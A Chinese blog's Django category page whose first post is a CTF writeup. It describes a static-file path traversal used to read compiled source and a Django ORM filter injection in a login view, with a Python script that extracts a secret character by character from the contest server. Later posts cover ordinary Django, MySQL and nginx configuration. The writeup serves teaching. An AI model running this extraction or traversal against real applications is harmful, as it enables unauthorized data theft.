分类 django 下的文章

PWNHUB Web第一题writeup

题目地址 http://54.223.46.206:8003/

首先在HTTP头中可以看到Server:gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2,引用的站内资源只有一个js,然后回想起ph师傅的写过的Python Web安全的文章 http://www.lijiejie.com/python-django-directory-traversal/ ,发现在处理静态文件的时候有一个任意文件读取,但是任何.py结尾的文件都会提示403,其他的不会,考虑读取pyc,看了下自己的Django项目,Python 3.5的pyc都是在一个__pycache__目录中的,然后是xxx.cpython-35.pyc的文件名。

Django是一个MVC框架,默认的主要代码都在models.pyviews.py,成功的得到pyc。然后使用unpyc3 https://github.com/figment/unpyc3 得到了源码。

核心代码如下

class StaticFilesView(generic.View):
    content_type = 'text/plain'

    def get(self, request, *args, **kwargs):
        filename = self.kwargs['path']
        # 任意文件读取就是这里
        filename = os.path.join(settings.BASE_DIR, 'students', 'static', filename)
        (name, ext) = os.path.splitext(filename)
        if ext in ('.py', '.conf', '.sqlite3', '.yml'):
            raise exceptions.PermissionDenied('Permission deny')
        try:
            return HttpResponse(FileWrapper(open(filename, 'rb'), 8192), content_type=self.content_type)
        except BaseException as e:
            raise Http404('Static file not found')

class LoginView(JsonResponseMixin, generic.TemplateView):
    template_name = 'login.html'
    def post(self, request, *args, **kwargs):
        data = json.loads(request.body.decode())
        stu = models.Student.objects.filter(**data).first()
        if not stu or stu.passkey != data['passkey']:
            return self._jsondata('', 403)
        else:
            request.session['is_login'] = True
            return self._jsondata('', 200)

class Student(models.Model):
    name = models.CharField('姓名', max_length=64, unique=True)
    no = models.CharField('学号', max_length=12, unique=True)
    passkey = models.CharField('密码', max_length=32)
    group = models.ForeignKey('Group', verbose_name='所属班级', on_delete=models.CASCADE, null=True, blank=True)


class Group(models.Model):
    name = models.CharField('班级名', max_length=64)
    information = models.TextField('介绍')
    secret = models.CharField('内部信息', max_length=128)
    created_time = models.DateTimeField('创建时间', auto_now_add=True)

可以看到直接将用户发送的数据作为filter的条件传递了,如果用户存在,而data中没有passkey就会造成500,如果用户不存在就会403,所以可以使用Django中的like查询。它的特点就是字段名后面添加两个下划线,接着才是搜索条件,可以作为参数传给filter。

# 精确查询 where name="test"
Student.objects.filter(name="test")

# 按照字符串开头查询 where name="test%"
Student.objects.filter(name__startswith="test")

# 按照字符串包含查询 where name="%test%"
Student.objects.filter(name__contains="test")

其实这里还有个坑,但是后来给ph师傅说了之后还是填上了,防止题目过于难,就是这里Django使用的是sqlite3数据库,而sqlite3的like是不区分大小写的,而数据库里面存的确实是大小写混合的,然而实际上还是有两个解决方案的

  • 爆破,12位密码去除数字,实际组合是2^10左右,也并不大
  • 使用sql中的正则,类似Studdent.objects.filter(name__regex="test"),这样就和区分大小写的contains是一样的了。

当然这个问题并不需要用户的密码,使用相同的方式去获取secret就好了。语句是Student.objects.filter(group__secret__contains="pwnhub")。最终利用的代码是

import requests
import json

import string
d = string.printable

passkey = "pwnhub"

while True:
    for item in d:
        r = requests.post("http://54.223.46.206:8003/login/", data=json.dumps({"group__secret__contains": passkey + item}))
        if r.status_code == 500:
            passkey += item
            print(passkey)
            break
    else:
        exit()

select for update 带来的性能问题

最近在帮助别人解决一个服务器响应特别慢的问题,最后定位在了Django里面一个使用了select_for_update的地方,发现这个查询特别慢。查询数据库慢查询日志,可以看到:

# Query_time: 1.480138  Lock_time: 0.000084 Rows_sent: 1  Rows_examined: 13061
SET timestamp=1433606761;
SELECT `一大堆字段` FROM `usergamedata` WHERE `usergamedata`.`uid` = 5396 FOR UPDATE;

这里显示查询时间为1秒多,但是实际上数据量只有1万多条,不应该这么慢的,怀疑是select for update锁表导致的。

- 阅读剩余部分 -

django migration的使用

以前对django的数据库进行表结构迁移的时候都是使用第三方应用south,而django自从1.7版本以后也加入了这个功能,而一直没有搞懂怎么用,今天记录一下。

我用的是django 1.8,文档在这里 https://docs.djangoproject.com/en/1.8/topics/migrations/

新工程的情况下

  1. 新建一个工程,然后新建一个app,这个时候发现app文件夹里面已经有migrations目录了。
  2. 修改models.py,增加一个model,然后python manage.py makemigrations account(app的名字) 显示
Migrations for 'account':
  0001_initial.py:
    - Create model account
  1. 运行python manage.py migrate会自动创建数据库表,类似之前的syncdb
  2. 将account里面的model增加一个字段,然后python manage.py makemigrations account,提示增加了一个新字段,应该怎么处理以前的值
You are trying to add a non-nullable field 'age' to account without a default; we can't do that (the database needs something to populate existing rows).
Please select a fix:
 1) Provide a one-off default now (will be set on all existing rows)
 2) Quit, and let me add a default in models.py
Select an option: 1
Please enter the default value now, as valid Python
The datetime and django.utils.timezone modules are available, so you can do e.g. timezone.now()
>>> 3
Migrations for 'account':
  0002_account_age.py:
    - Add field age to account
  1. 将age字段改名为age1,会问你是不是将字段改名了,如果是的话,会只修改字段的名字,否则创建新字段,回到第四步
Did you rename account.age to account.age1 (a IntegerField)? [y/N] y
Migrations for 'account':
  0003_auto_20150526_0206.py:
    - Rename field age on account to age1
  1. 再次运行python manage.py migrate会自动修改数据库。

已有app没有进行migrate,没有数据库

直接运行python manage.py makemigrations app_name就行,然后和上面第二步开始一样了。

已有数据库和没有进行migrate的app

一般就是从老版本的django迁移过来的。

首先python manage.py makemigrations app_name,然后python manage.py migrate --fake-initial进行第一次初始化,之后就可以正常使用了。

nginx反向代理https时后端代码获取协议错误的问题

网站的https的,架构是nginx进行反向代理,后面是gunicorn,然后是django框架。但是最近发现一个问题,我后端的django代码进行重定向的时候,会重定向到http的网站上去。
请输入图片描述

后端获取到的协议确实是http
请输入图片描述

能找到的django的issue是https://code.djangoproject.com/ticket/12043

这个issue和我的情况一样,最终的结果是apache没有正确的把协议传递过去。我使用的gunicorn是不是也这样呢。后来在gunicorn文档上找到这样一段话。

When Nginx is handling SSL it is helpful to pass the protocol
information to Gunicorn. Many web frameworks use this information to
generate URLs. Without this information, the application may
mistakenly generate ‘http’ URLs in ‘https’ responses, leading to mixed
content warnings or broken applications. In this case, configure Nginx
to pass an appropriate header:

proxy_set_header X-Forwarded-Proto $scheme;

添加了这个http头后就好了

location / {
         trim on;
         trim_js on;
         trim_css on;
         proxy_pass http://127.0.0.1:8020;
         proxy_set_header Host $host;
         proxy_set_header X-Real-IP $remote_addr;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
         proxy_set_header X-Forwarded-Proto $scheme;
     }

Django在进行单元测试的时候出现Incorrect string value: '****.' for column ***

因为在本地开发一直是使用的sqlite数据库,随时删除和重建,当信心满满的将本地全部测试通过的代码部署到服务器跑单元测试的时候却出现了一堆测试不通过的例子,发现都实在创建数据的时候提示Incorrect string value: '****.' for column ***,google了好久,也有人说是数据库编码的问题,可是我一直是create database *** default character set utf8这样创建数据库的啊,而且正常的生成数据,不是测试状态的时候就没问题。后来仔细看了看django的调试页面,发现一个隐藏的设置项目,TEST_CHARSET,然后指定它为utf8就好了。

就是这样

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'db',        
        'USER': 'root',
        'PASSWORD': 'root',
        'HOST': '',                      
        'PORT': '',                      
        "TEST_CHARSET": "utf8",
    }
}